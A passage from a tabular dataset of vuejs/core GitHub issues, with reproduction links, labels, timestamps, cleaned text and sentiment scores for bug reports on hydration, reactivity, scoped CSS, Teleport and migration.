The `<slot />` isn't required, it also fails if the `<Transition>` has no content, but I think a `<slot />` is more realistic.","scope: transition,:hammer: p3-minor-bug,scope:hydration",2025-05-27 21:36:53+00:00,2025-07-23 00:42:35+00:00,0,"scope: transition,:hammer: p3-minor-bug,scope:hydration",56.129,ssr hydration fails with and empty content vue version older versions seem to have the same problem too link to just open the playground what is expected no error successful hydration what is actually happening an error is thrown failed to execute replacechild on node parameter is not of type node any additional comments i confirmed this also fails in nuxt not just in the playground without the prop there s still a hydration problem but not the explosive error the isn t required it also fails if the has no content but i think a is more realistic,bug,-0.9625
vuejs/core,3094429839,Code injection static code analysis bugfix.,"### Vue version

3.5.15

### Link to minimal reproduction

Not applicable. Present in code

### Steps to reproduce

Present in code

### What is expected?

Currently the code is vulnerable and should be patched

### What is actually happening?

There is a potential security risk associated with code injection. This is also raised by Code scanning and I have verified the risk associated.

<img width=""884"" alt=""Image"" src=""https://github.com/user-attachments/assets/9e00f245-8f65-4f1d-bf04-76bd971aaf45"" />

### System Info

```shell
Present in code
```

### Any additional comments?

NA",,2025-05-27 15:54:55+00:00,2025-05-28 00:00:31+00:00,0,nan,0.3372,code injection static code analysis bugfix vue version link to not applicable present in code present in code what is expected currently the code is vulnerable and should be patched what is actually happening there is a potential security risk associated with code injection this is also raised by code scanning and i have verified the risk associated system info any additional comments na,bug,-0.4019
vuejs/core,3092761705,"When the parent component passes the computed value, the child component receives it using defineModel and no rendering is triggered","### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUsuO2zAM/BVClzjAVkGw3UvqBGiLHFqgD7Q9CihUh/Z6K0uGHt4Ahv+9pPLYZNFtTzY5Q2pIzije9r0cEoqVKEPl2z5CwJj6jbJt1zsfYQSPNUxQe9fBjKizM/Tedf0xLxcccKcneISKcini7qr8jbLKVs6GCK2tHazPtKKYw3oDxagsgF7BUtlpPr+mL4lPgoqR8YnAcnHQTYopiNj1RkekCKDMAodXnduhWXH1Wgn+KAELYpSLC7q4ETHQO3XbyIfgLG0k61CC5bUG/Zc+tqRDiRVkhDFtjHv8mHPRJ7w55at7rH7/Jf8Q9pxT4qvHgH5AJc5Y1L7BeIC33z/jnv7PIM2QDLH/AX7D4ExijQfau2R3JPuCl9V+yNdpbfMjbPcRbTgNxUKZOWW+EnQsXuBLoz/JvZWvcx2di7Z4MsJzS4HRtqEDRGpzaa9HHav7bV1jFZ/75MolO6xbi5/4liVf36buF/ppU8yYMCMrXHQ6WimL5S7OoDSuKZgqB20SSk0V/zHQOGa+nmg0slNryaYnPx2tJPULZvo5oOfV0hpu5Z1c3onpD2zLJtg=

### Steps to reproduce

Enter data in the input box, the data is not updated. If the data is bound to info1, the data will be updated.

### What is expected?

When the parent component is bound to a computed value, the child component can still trigger responsive data updates. Binding info and info1 should have the same result.

### What is actually happening?

When the parent component is bound to the info computed value, the responsive data is not updated when the child component is entered in the input box.
When bound to info1, the responsive data is updated

### System Info

```shell
System:
    OS: macOS 13.4.1
    CPU: (10) arm64 Apple M1 Pro
    Memory: 44.64 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 18.20.5 - ~/Library/pnpm/node
    npm: 10.8.2 - ~/Library/pnpm/npm
    pnpm: 9.15.3 - ~/Library/pnpm/p... [TRUNCATED]",,2025-05-27 06:36:25+00:00,2025-05-27 07:01:08+00:00,3,nan,0.0172,when the parent component passes the computed value the child component receives it using definemodel and no rendering is triggered vue version link to enter data in the input box the data is not updated if the data is bound to info the data will be updated what is expected when the parent component is bound to a computed value the child component can still trigger responsive data updates binding info and info should have the same result what is actually happening when the parent component is bound to the info computed value the responsive data is not updated when the child component is entered in the input box when bound to info the responsive data is updated system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node library pnpm node npm library pnpm npm pnpm library pnpm p truncated,others,0.8885
vuejs/core,3092695258,CSS direct descendant wildcard rule no longer applied to child components,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Um1LwzAQ/ishIIK4dnPuSx0DlYEKvqB+DEhtb122NglJunWM/XcvyTo7USEf7u65lyd3z5ZeKxWtaqAJHZtMc2WJAVurCRO8UlJb8ri5lWgJEJbMtKzIaRR3Yq74lIlxHKqxDh0LlSpTC+gRMq5SLryFdrdbHOB4j4/jThm6xm5KICaTCnKMuCyydRU5N5i2ScishObKRZzRy7mGzHIpEpLJsq6Ehz7TbFloWYs8IRsoS7kuNEDA1jy384QM+v0T70/IWZhASJU2vT180e+rMKbbrYczpG57enjHBD7chCOOjOk5tUhfzHgRLYwUuGPfndEMd8BL0M/K8TWMJu1cRlPX78HHrK7hvI1nc8iWv8QXpnExRl80GNArYPSA2VQXYAM8fXuCBu0DWMm8LjH7H/AVDG7ScQxpN/hxpN3J82zvvVK4KN7NtLEgTPspR9Rvxuczilpx5//r6990h9Flu1Hc4g+5Oa0eKyznq73A7tw59kcJ6grYkbiw5ccKtKOJvYbRKBqM6O4Lhn0ERA==

### Steps to reproduce

The Vue issue helper doesn't seem to create issues, so I have to fill this form manually.

**Steps to reproduce:**

Create a component with a scoped style block having a CSS rule affecting its direct descendants with a wildcard rule, such as:
```
> * {
  max-width: 200px;
}
```

### What is expected?

CSS rule is applied to children, as it does in 3.5.14.

### What is actually happening?

CSS rule is not applied to children after 3.5.15. If I remove the direct descendant arrow, or replace the wildcard with div, the example works again.

### System Info

```shell

```

### Any additional comments?

If this is by design, then my own interpretation is flawed, apologies in advance.","scope: compiler,has workaround,:hammer: p3-minor-bug",2025-05-27 06:05:22+00:00,2025-05-29 00:22:04+00:00,4,"scope: compiler,has workaround,:hammer: p3-minor-bug",1.7616,css direct descendant wildcard rule no longer applied to child components vue version link to the vue issue helper doesn t seem to create issues so i have to fill this form manually create a component with a scoped style block having a css rule affecting its direct descendants with a wildcard rule such as what is expected css rule is applied to children as it does in what is actually happening css rule is not applied to children after if i remove the direct descendant arrow or replace the wildcard with div the example works again system info any additional comments if this is by design then my own interpretation is flawed apologies in advance,bug,0.128
vuejs/core,3092047540,Reactive Props Destructure bug,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqlVFtv0zAY/SvGL0lRSTWNvXTt0ECTACGYBhIPGKE0+dJ6OHbwpWtV5b/z2bk0GaMve2gV+7udc3zsA72uqmTrgM7pwmSaV5YYsK66YpKXldKWHIiGYpqpsnIWclKTQquSRFgT9TnZhov8rI0ks2bp20aXTDKZKWks4eYO/jiuscnS94yLVBiYYEYTF+kKxLtuzpJ0I+N4srwi8bE82abCwYS8icp9U0VeRmRO+mU06XqWZt0Oi96DEIp8V1rkL3zCYtbwRaa4sFBWIrWAK0IWXOJkYvcVLBnNNpD9Xqkdo2T7qlQ5CNw8omG0qWk1mAcEmDGig7UzTFvMBnPolFqDMAu+Tu6NkngEB98JJ2IVF6C/VJYjDUbnJER8LEUWDx/DntUOpt1+QPnE/r1B4HP8uNVgQG+B0T5mU70G24Rvvn6GHX73QWTqBGafCN6BUcJ5jE3aWydzhD3IC2g/BJNwuf5mbnYWpOlIeaA+sw75jKJhvGD/o36Ee568DnVM1qji0W4nXPyQ2mxzUxSQ2WlvraGZ0YdtrjNwLfd2g4h7Sw/2fGbjrkM44xodlkPBJdxqVZn4R9SY8Ke3NpODwehkglYOhHwHJSARah2jnVCUHAga2ENTEmR7H/DWoH3TzPJwcs2mb1z3Hu/IfAr5o3vjp/UVAwpx2DzqEEobuCeuxaHli7I/NvKgd2INHkP/eAzoj96OS6ZxAv5gFzJRwdQJSwonkaySw1N4Gi7qiOVkOKEXOATGIkePNDbpSsC/IkdHjUOTuvt43pzxIY3njWLt4zaeXvs/lPnXFrS/PSjweXKRnF3Q+i8gTfvU

### Steps to reproduce

everything is simple and in the demo. 

You first created a computed value in a component pass it down to a child in props. Deconstruct props and its still reactive. Pass it to a composable and it lose its reactivity. Case shown with a new computed and the prop directly

### What is expected?

The goal of a composable is to keep reactivity and do reuasable logics so its mean it should work as intented i think

### What is actually happening?

prop lose reactivity in composable

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-26 20:58:37+00:00,2025-05-26 23:56:32+00:00,2,nan,0.1236,reactive props destructure bug vue version link to everything is simple and in the demo you first created a computed value in a component pass it down to a child in props deconstruct props and its still reactive pass it to a composable and it lose its reactivity case shown with a new computed and the prop directly what is expected the goal of a composable is to keep reactivity and do reuasable logics so its mean it should work as intented i think what is actually happening prop lose reactivity in composable system info any additional comments no response,bug,-0.7351
vuejs/core,3081954127,"computed 监听不到数组使用push,但是computed对应值会发生变化","### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U0uO00AQvUqpN3YkyybMsAlOxEezAImPgB2NkLErjmfabau7nYlkeY3EBnEBhDgBl8o9qG7HHwKMLPlT7736vGq37HFdh/sG2YrFOlVFbUCjaeoNl0VZV8pACwq3AaRVWTcGswBuE5PuoIOtqkrwSOs95JLLtJLaQKlzWFuF/95begF4970PiwEUBd1O6BRNsoyC/gLWG2i5BJsj3CeiwbBu9M6nPMTtphoZiv8IKDyJtShS9O8Fyz/VOZoXrslhIn+WyVIqgaGoct8bCLY8uOb/bgtoGtMoOdWlYhS3lzPKt5y+wkgJppirelbX6frknaOeSBlivQKjTgkstnDWcxlH/fJobfRhsKxFYpC+AOLdctO2w9hdN84dR4TMGHZ1BLvq55jbHIH2OWGfGmMqCY9ScvpmzRltkrMNHH9+P375EUc9fKKq6PzlTExbdeLPX4+/vs3EcTQbhwXMaDJrW+Thta4kHVtnDmd2qkKgelWbgszkbDXYRn0JUd0+d7HRPafZYXrzj/i1PtgYZ68ValR75GzETKLIyh6+evsSD/Q+gmWVNYLYd4BvkBbd2B572pNGZtT2jOe6feZ+vkLm7/TVwaDUw1C20elkcEb/39M7Rp/avQgvnY7OJ7n4cY/K5iQDL8IH4fKSdb8BBtpWsg==

```
### Steps to reproduce

<script setup>
import { ref, computed, watch } from 'vue';

const msg = ref(['1', '2'])
const list = ref([])
const add = () => {
  msg.value.push('1')
}

const del = () => {
  msg.value = msg.value.slice(0,1)
}

const getMsg = computed(() => {
  console.log('computed')
  list.value.push('1')
  return msg.value
})


watch(
  () => msg.value,
  () => {
    console.log('watch')
  },
  {
    deep: true,
  },
);


</script>

<template>
  <h1>{{ getMsg }} computed</h1>
  <h1>{{ msg }} watch</h1>
  <h1>{{ list }} list</h1>
  <button @click=""add""> 增加</button>
  <br/>
  <br/>
  <button @click=""del""> 减少</button>
</template>

```

### What is expected?

add方法触发时,  console.log('computed')应该也触发

### What is actually happen... [TRUNCATED]",,2025-05-22 03:50:53+00:00,2025-05-22 04:04:43+00:00,0,nan,0.0096,computed push computed vue version link to what is expected add console log computed what is actually happen truncated,others,0.0
vuejs/core,3079137679,Bug: @vue/compiler-sfc template loc wrong,"### Vue version

late^3.5.14

### Link to minimal reproduction

https://github.com/Simon-He95/vue-compiler-sfc-bug

### Steps to reproduce

npm run test

### What is expected?

test pass

### What is actually happening?

test wrong

### System Info

```shell

```

### Any additional comments?

_No response_","scope: compiler,🔩 p2-edge-case",2025-05-21 06:52:54+00:00,2025-06-05 01:39:07+00:00,4,"scope: compiler,🔩 p2-edge-case",14.7821,vue compiler sfc template loc wrong vue version late link to npm run test what is expected test pass what is actually happening test wrong system info any additional comments no response,bug,-0.8126
vuejs/core,3070774361,Teleport defer causes infinite recursion,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNqFk8tu2zAQRX9lwC4kI46UWO0msA20RRYt0AdaL7kRpJHLlBIJklINCPr3DinTjyJNduLcw9E8Lkf2Xuts6JE9sLWtjNAOLLpeb3kHIFqtjIOPqtXQGNVCkuX+4C8kF8AIBhuYjkwUK9VZB3XpynvYeCJtSmlxca2tjlqySv5RiqgUs0J17USLqndpuoDNFtKQOxtK2SOxzvS4WML93d0LeHHCk+ImIfxdwNf53Dy1TQeHrZalwzCEtdVlB6LecOZKs0fH2ZZwCs5yhGG4FQ1BoShivEjyDiWGIdXYoAGnCHlzSjSOx1anaZ1HNF4Ncx9uW1WjPCZecQb5/N/8osqrA1syZ2mMjdhnT1Z1tNrR3+CsooRCovmmnaAxc/YAQfFaKaX68znE/CCXMV79wur3M/Ene/Axzr4btGgG5Oykxfa8/PjzKx7o+yRSO70k+gXxB1ole1/jjH3ou5rKvuBCtZ+C+0S339nHg8POxqZ8oZ6cAs8ZOdLP8n+tn8stsrfhHu8mmmK0+rNv49rBtFzR4Re/qTS4Lwhnr61u6Em8ZrKzra73Of0FXGEvJA==

### Steps to reproduce

Open the page

### What is expected?

No error

### What is actually happening?

```
Uncaught (in promise) RangeError: Maximum call stack size exceeded
    at Object.process (VM113 vue.runtime.esm-browser.prod.js:5:22726)
    at VM113 vue.runtime.esm-browser.prod.js:5:23301
    at nl (VM113 vue.runtime.esm-browser.prod.js:5:21587)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21053)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
```

### System Info

```shell
OS: Windows
Chrome: 136.0.7103.114
Edge: Chromium (1... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2025-05-17 13:24:32+00:00,2025-05-20 00:27:55+00:00,0,"scope: teleport,:hammer: p3-minor-bug",2.4607,teleport defer causes infinite recursion vue version link to open the page what is expected no error what is actually happening system info shell os windows chrome edge chromium truncated,bug,-0.7506
vuejs/core,3070474710,Fallthrough attributes not applied if comment in root of child template and child component has certain structure,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8tu2zAQ/JUtz7F0aE+uW6ANAiRF2xSNjzyIFtcSU4oU+FAdBP73LClIloAkN+3M7HBfembf+r4YIrIt2/naqT6AxxD7r9yorrcuwHWrtISjsx1wVpQ5TBmcccNNWcIGHsKTVqaBQQk4Cq1D62xsWhAhOHWIAT0YG0D0vVYoIVios6mzhFZSDRUoA3V0Dk2A2pqjaqITQdnphTvvI4JUnjxQOA/quM0UEHlvEOwRQotg0Ad6IXuSyIzVp3JBeXDY2QHlnLinjLlGMKLLPvZiN/l4KliYhpyxaAqolKxmhLqpDlq0FVg3vQDUh3Kon1ZP3e5//aTuui51+WZtu3LcA22AgoBdr0VAigB24y48jRu/cFZbbd2WMuVnzqAkya5c6NkVC34cZvHoraEVPyeXlNj1SqO779OIPWdbyEziaH32/4+MBRfxasLrFut/r+CP/pQwzv449OgGuouZC8I1GEb65uE3nuh7Jjsroyb1O+Rf9FbHfAZZ9j0aSWUvdLnau3yodIB7f3MKaPzUVCo0Kc9ZzxmN+vqd1i/lfiw+5TxuzjTFeU/pJ1kv5MNmA2SZN7rZjBjdDChJ+xGcZWSJHWZsidYLdInLFb5kaHArBuAWaRYrcUnqpe0qXkaX7+lrfUjnFyfgVNM=

### Steps to reproduce

SFC playground example demonstrates bug behavior.

The issue disappears with any of these modifications:
- One of the nested `div`s in the child component receiving the fallthrough attr is removed
- The attribute of one of the `div`s is changed to an unknown HTML attribute or removed
- The comment in the child is removed

### What is expected?

The `style` attribute applied by the parent component should be applied to the root `div` of the child component

### What is actually happening?

The attribute is not applied

### System Info

```shell
System:
    OS: Linux 6.14 Fedora Linux 42 (Workstation Edition)
    CPU: (24) x64 AMD Ryzen 9 3900X 12-Core Processor
    Memory: 3.55 GB / 15.55 GB
    Container: Yes
    Shell: 4.0.1... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug",2025-05-17 07:02:04+00:00,2025-06-05 02:23:01+00:00,0,"scope: compiler,:hammer: p3-minor-bug",18.8062,fallthrough attributes not applied if comment in root of child template and child component has certain structure vue version link to sfc playground example demonstrates bug behavior the issue disappears with any of these modifications one of the nested s in the child component receiving the fallthrough attr is removed the attribute of one of the s is changed to an unknown html attribute or removed the comment in the child is removed what is expected the attribute applied by the parent component should be applied to the root of the child component what is actually happening the attribute is not applied system info shell system os linux fedora linux workstation edition cpu x amd ryzen x core processor memory gb gb container yes shell truncated,bug,-0.1531
vuejs/core,3068389924,`<Transition appear>` leads to hydration mismatch with SSR,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kbtuwzAMRX9F4BzYQzsFboC2yJAObdFm1CLYrKNUL4iSayDwv1eS8xqCbMQ9l+SldIBn56ohIiyhCaidEgFX3DDWbL0wJIO0hgnnUPgiJ9DJgbVKED1xkFqUksNqw3ZiQEZW44yRmjp552n1ZVwSmvpqFywgUGvNj+yrPVmTohxyD4fWaicV+g+X+9KSJSskM6GU/XsrWvARFye93WH7e0Pf05g1Dp8eCf2AHM4sCN9jmPH6+x3HVJ+htl1UyX0HfiFZFXPG2fYSTZdiX/lK2o121gdp+i2tx4DpOY5H5aDZORU/h/Qfr3dOv8R9qB5LHzcTTP/lXpeM

`App.vue`:
```vue
<template>
  <Transition appear>
    <div class=""imaclass"">I have some classes</div>
  </Transition>
</template>
```

### Steps to reproduce

When you open the reproduction you will see the following message in the lower right corner: 'Hydration completed but contains mismatches.'

More info:

```
[Vue warn]: Hydration class mismatch on 
<div class=""imaclass v-enter-from v-enter-active""> 
  - rendered on server: class=""imaclass v-enter-from v-enter-active""
  - expected on client: class=""imaclass""
  Note: this mismatch is check-only. The DOM will not be rectified in production due to performance overhead.
  You should fix the source of the mismatch. 
  at <BaseTransition appear=true persisted=false mode=undefined  ... > 
  at <Transition appear=true > 
  at <Repl>
```

### What is expected?

I expect no hydration mismatch.

### What is actually happening?

There is a hydration mismatch.

### System Info

```shell

```

### Any additional comments?

related: https://github.com/vuejs/core/issues/12046, https://github.com/vuejs/core/pull/1204... [TRUNCATED]","scope: transition,:hammer: p3-minor-bug,scope:hydration",2025-05-16 08:54:24+00:00,2025-05-20 00:28:45+00:00,1,"scope: transition,:hammer: p3-minor-bug,scope:hydration",3.6489,leads to hydration mismatch with ssr vue version link to when you open the reproduction you will see the following message in the lower right corner hydration completed but contains mismatches more info what is expected i expect no hydration mismatch what is actually happening there is a hydration mismatch system info any additional comments related truncated,bug,-0.5267
vuejs/core,3067660189,Reactive object is marked as raw by defineExpose,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kd9LwzAQx/+VmJdOmC1j82V0A5WB+qCigi8BKe21y0yTkKS1UPq/e0ndj4exl5C77/eSz9319E7ruG2ALmlqc8O1IxZco9dM8lor40hPDJRTPLLc8RbIQEqjahJhUcQkk7mS1pHaVmTlnZPoEYRQ5EsZUVxF10cLdFpZKIJtfGvSM0l8KZNDMBZQcgmbYJz8+1FIkxENoTBwUGuROcCIkHQ7W/d9+H4Y0gSjkOVSN460N7UqQKwY9X9QkqCYJif1dEqdRbqSV/HOKolTCEiM5qrWXIB51Y4jPaNLEhSvZdjf73PIOdPAdJ/Pt5D/nMnvbOdzjL4ZsGBaYPSgucxU4EZ58/ECHd4PItI3At0XxHewSjSecbTdN7JA7BNfoH0Ku+Sy+rSbzoG0+6Y8qHcOwc8obvXhQutH3Hm8CHW4OpzidwvGv4kDnMe38WxBhz9gBskT

### Steps to reproduce

No additional steps necessary.

### What is expected?

The object passed to defineExpose should remain a reactive object, and not marked as raw.

### What is actually happening?

The object is being marked as raw and losing its reactivity.

### System Info

```shell

```

### Any additional comments?

I believe  has behaviour has always been present but has only become an issue in 3.5.14, caused by #12824 .

If this behaviour is intended, it's not mentioned in the defineExpose documentation that reactive objects should not be used.","need more info,can't reproduce",2025-05-16 00:43:28+00:00,2025-05-20 00:11:17+00:00,1,"need more info,can't reproduce",3.9777,reactive object is marked as raw by defineexpose vue version link to no additional steps necessary what is expected the object passed to defineexpose should remain a reactive object and not marked as raw what is actually happening the object is being marked as raw and losing its reactivity system info any additional comments i believe has behaviour has always been present but has only become an issue in caused by if this behaviour is intended it s not mentioned in the defineexpose documentation that reactive objects should not be used,others,-0.34
vuejs/core,3065258063,Installation of version 3.5.14 failed,"### Vue version

3

### Link to minimal reproduction

null

### Steps to reproduce

pnpm view @vue/compiler-core versions                                


### What is expected?

.

### What is actually happening?

[
  '3.0.0-alpha.0',  '3.0.0-alpha.1',  '3.0.0-alpha.2',  '3.0.0-alpha.3',
  '3.0.0-alpha.4',  '3.0.0-alpha.5',  '3.0.0-alpha.6',  '3.0.0-alpha.7',
  '3.0.0-alpha.8',  '3.0.0-alpha.9',  '3.0.0-alpha.10', '3.0.0-alpha.11',
  '3.0.0-alpha.12', '3.0.0-alpha.13', '3.0.0-beta.1',   '3.0.0-beta.2',
  '3.0.0-beta.3',   '3.0.0-beta.4',   '3.0.0-beta.5',   '3.0.0-beta.6',
  '3.0.0-beta.7',   '3.0.0-beta.8',   '3.0.0-beta.9',   '3.0.0-beta.10',
  '3.0.0-beta.11',  '3.0.0-beta.12',  '3.0.0-beta.13',  '3.0.0-beta.14',
  '3.0.0-beta.15',  '3.0.0-beta.16',  '3.0.0-beta.17',  '3.0.0-beta.18',
  '3.0.0-beta.19',  '3.0.0-beta.20',  '3.0.0-beta.21',  '3.0.0-beta.22',
  '3.0.0-beta.23',  '3.0.0-beta.24',  '3.0.0-rc.1',     '3.0.0-rc.2',
  '3.0.0-rc.3',     '3.0.0-rc.4',     '3.0.0-rc.5',     '3.0.0-rc.6',
  '3.0.0-rc.7',     '3.0.0-rc.8',     '3.0.0-rc.9',     '3.0.0-rc.10',
  '3.0.0-rc.11',    '3.0.0-rc.12',    '3.0.0-rc.13',    '3.0.0',
  '3.0.1',          '3.0.2',          '3.0.3',          '3.0.4',
  '3.0.5',          '3.0.6',          '3.0.7',          '3.0.8',
  '3.0.9',          '3.0.10',         '3.0.11',         '3.1.0-beta.1',
  '3.1.0-beta.2',   '3.1.0-beta.3',   '3.1.0-beta.4',   '3.1.0-beta.5',
  '3.1.0-beta.6',   '3.1.0-beta.7',   '3.1.0',          '3.1.1',
  '3.1.2',  ... [TRUNCATED]",,2025-05-15 07:33:38+00:00,2025-05-15 07:45:58+00:00,2,nan,0.0086,installation of version failed vue version link to null pnpm view vue compiler core versions what is expected what is actually happening alpha alpha alpha alpha alpha alpha alpha alpha alpha alpha alpha alpha alpha alpha beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta beta rc rc rc rc rc rc rc rc rc rc rc rc rc beta beta beta beta beta beta beta truncated,others,-0.5106
vuejs/core,3064798187,"v-bind=""data"" reports an error during the patch phase.","### Vue version

3.5.13

### Link to minimal reproduction

https://element-plus.run/#eyJBcHAudnVlIjoiPHRlbXBsYXRlPlxuICA8ZWwtYnV0dG9uIHBsYWluIEBjbGljaz1cImRpYWxvZy5vcGVuKERhdGUubm93KCkudG9TdHJpbmcoKSlcIj5cbiAgICBDbGljayB0byBvcGVuIHRoZSBEaWFsb2dcbiAgPC9lbC1idXR0b24+XG5cbiAgPGVsLWRpYWxvZ1xuICAgIHYtbW9kZWw9XCJkaWFsb2cudmlzaWJsZVwiXG4gICAgdGl0bGU9XCJUaXBzXCJcbiAgICB3aWR0aD1cIjUwMFwiXG4gICAgQGNsb3NlZD1cImRpYWxvZy5kYXRhID0gbnVsbFwiXG4gID5cbiAgICA8Q29tcCB2LWJpbmQ9XCJkaWFsb2cuZGF0YVwiPjwvQ29tcD5cbiAgPC9lbC1kaWFsb2c+XG48L3RlbXBsYXRlPlxuXG48c2NyaXB0IGxhbmc9XCJ0c1wiIHNldHVwPlxuaW1wb3J0IHsgcmVhY3RpdmUgfSBmcm9tICd2dWUnXG5pbXBvcnQgQ29tcCwgeyB0eXBlIFByb3BzIH0gZnJvbSAnLi9Db21wLnZ1ZSc7XG5cblxuY29uc3QgZGlhbG9nID0gcmVhY3RpdmUoe1xuICB2aXNpYmxlOiBmYWxzZSxcbiAgdGl0bGU6ICcnLFxuICBkYXRhOiBudWxsIGFzIFByb3BzIHwgbnVsbCxcbiAgb3Blbih2YWx1ZTogc3RyaW5nKSB7XG4gICAgZGlhbG9nLnRpdGxlID0gJ+agh+mimCdcbiAgICBkaWFsb2cuZGF0YSA9IHsgdmFsdWUgfVxuICAgIGRpYWxvZy52aXNpYmxlID0gdHJ1ZVxuICB9LFxuICBjbG9zZSgpIHtcbiAgICBkaWFsb2cudmlzaWJsZSA9IGZhbHNlXG4gIH0sXG59KVxuPC9zY3JpcHQ+XG4iLCJlbGVtZW50LXBsdXMuanMiOiJpbXBvcnQgRWxlbWVudFBsdXMgZnJvbSAnZWxlbWVudC1wbHVzJ1xuaW1wb3J0IHsgZ2V0Q3VycmVudEluc3RhbmNlIH0gZnJvbSAndnVlJ1xuXG5sZXQgaW5zdGFsbGVkID0gZmFsc2VcbmF3YWl0IGxvYWRTdHlsZSgpXG5cbmV4cG9ydCBmdW5jdGlvbiBzZXR1cEVsZW1lbnRQbHVzKCkge1xuICBpZiAoaW5zdGFsbGVkKSByZXR1cm5cbiAgY29uc3QgaW5zdGFuY2UgPSBnZXRDdXJyZW50SW5zdGFuY2UoKVxuICBpbnN0YW5jZS5hcHBDb250ZXh0LmFwcC51c2UoRWxlbWVudFBsdXMpXG4gIGluc3RhbGxlZCA9IHRydWVcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGxvYWR... [TRUNCATED]",:hammer: p3-minor-bug,2025-05-15 03:42:10+00:00,2025-05-15 04:51:03+00:00,2,:hammer: p3-minor-bug,0.0478,v bind data reports an error during the patch phase vue version link to truncated,bug,-0.4588
vuejs/core,3059217544,Migration from Vue2 to Vue3 with OptionAPI passing vm from outside not working anymore (data being a function),"### Vue version

3

### Link to minimal reproduction

https://jsfiddle.net/superboy2k/qb3o7fka/1/

### Steps to reproduce

I started using view since version 1 and i'm stuck on version 2 due to a missing feature.
We alwasys loved the fact that Vue is not invasive in my codebases, thank to this property we could evolve the viewmodels for many years with very good efficiency and no errors.

In vue2 we have a lot of code that follow this structure, and it works very well : 

```
var pageViewModel = new PageViewModelClass( /* paramerters or seed from server side rendering*/ )
 var vueInstance = new Vue({
     el: ""#domId"",
     data: pageViewModel 
 });

```
I'm trying to migrate to vue3, but the following approach is not working anymore, and we really would not like to merge the business logic view model inside vue function, how can we keep using vue3 by passing an external view model to the vue instance ? The ideal would be something like this 

```
   createApp({
      data() {
        return vm;
      },
    methods : vm
   }).mount('#app')
```

but the error reports ""vue.esm-browser.js:2260 [Vue warn]: Property ""increment"" was accessed during render but is not defined on instance. 
  at <App>"" and ofc it does not work.

Thank you
long time vue lover looking forward to use vue3


### What is expected?

i would like to make an instance of a view model and pass it to vue like we used to do with vue2.

### What is actually happening?

not working

### System Info

```shell

```
... [TRUNCATED]",,2025-05-13 08:32:47+00:00,2025-05-14 07:19:02+00:00,0,nan,0.9488,migration from vue to vue with optionapi passing vm from outside not working anymore data being a function vue version link to i started using view since version and i m stuck on version due to a missing feature we alwasys loved the fact that vue is not invasive in my codebases thank to this property we could evolve the viewmodels for many years with very good efficiency and no errors in vue we have a lot of code that follow this structure and it works very well i m trying to migrate to vue but the following approach is not working anymore and we really would not like to merge the business logic view model inside vue function how can we keep using vue by passing an external view model to the vue instance the ideal would be something like this but the error reports vue esm browser js vue warn property increment was accessed during render but is not defined on instance at and ofc it does not work thank you long time vue lover looking forward to use vue what is expected i would like to make an instance of a view model and pass it to vue like we used to do with vue what is actually happening not working system info truncated,others,0.1754
vuejs/core,3058966993,defineModel and v-model value mismatch with native input binding,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU11r2zAU/StCL3agUxhZYWROYBt52GAfdKNPgmGcm9SdLAlJdgMh/71XV7bjftDSBxvrnnO/jo6P/LO1omuBL3nhK1fbwDyE1q6lrhtrXGBH5mDHTmznTMMypGYjVN3UatsDYk6nWCv7NEm+K0N18yAdUQWB2dKBDtelaoGtYo88C+BDNutxKneFrROoW6UiRPXyfLZaTwqILr4vYvQoNWOV0d4oEMrscwqwabvl08zEoZaJMnRPuGjMFhQhPbXWtu2rPaISMh4j+zSTOj7FPCmM2uIhQGNVGQBPjBVJSlx0JflQUHLWvaPOGJzMLPm6SGpjbjGfFOIXPHhcflfvxa03Gm+V1seaprG1AvfLhhrFkXzJemEkL5Uyd98pFty4YZwDqv/PxG/9IcYk/+3Ag+twoBELpdtDSPDmz0844PcI4i6tQvYL4BXgxbVxxkT70uotjj3h0bTfyF613v/1m0MA7Yel4qCkOfElR8N9fWH187gL8YHy8KpQxdHLb/svou8CO5sFvbuFXa3hRwzl6IHEGDwy9bbUibo5WOMhP04sN9BfMxHxehMNOQ9MdK5JHiLOMx7614GLiuLyC3Ep3i9iLPjrMXopPooFP90DV0h0uA==

### Steps to reproduce

1、Open DevTools
2、Enter the number `1` in the input box

### What is expected?

The console should log:
```{ parentValue: 'test1', childValue: 'test1', inputValue: 'test1' }```

### What is actually happening?

The console logs:
```{ parentValue: 'test1', childValue: 'test', inputValue: 'test1' }```

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-13 06:56:40+00:00,2025-05-13 07:26:53+00:00,1,nan,0.021,definemodel and v model value mismatch with native input binding vue version link to open devtools enter the number in the input box what is expected the console should log what is actually happening the console logs system info any additional comments no response,others,0.128
vuejs/core,3057900239,"Incorrect warning: <tr> cannot be child of <template>, according to HTML specifications","### Vue version

3.5.13

### Link to minimal reproduction

